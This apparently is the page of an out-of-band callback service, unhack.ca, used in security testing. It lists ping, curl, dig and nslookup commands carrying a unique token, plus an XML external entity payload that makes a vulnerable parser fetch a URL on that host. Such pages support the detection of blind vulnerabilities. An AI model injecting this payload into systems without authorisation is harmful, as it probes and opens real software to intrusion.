$ ping -c1 -p 001daf12e6e50a66b851084e3c61e900 unhack.ca
 
$ curl http://unhack.ca/p/1daf12e6e50a66b851084e3c61e9
 
$ dig 1daf12e6e50a66b851084e3c61e9 @unhack.ca
 
$ dig 1daf12e6e50a66b851084e3c61e9.ns.unhack.ca
 
C:\> nslookup 1daf12e6e50a66b851084e3c61e9 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/1daf12e6e50a66b851084e3c61e9">]>
    <foo>&xxe;</foo>
 
Waiting for ping...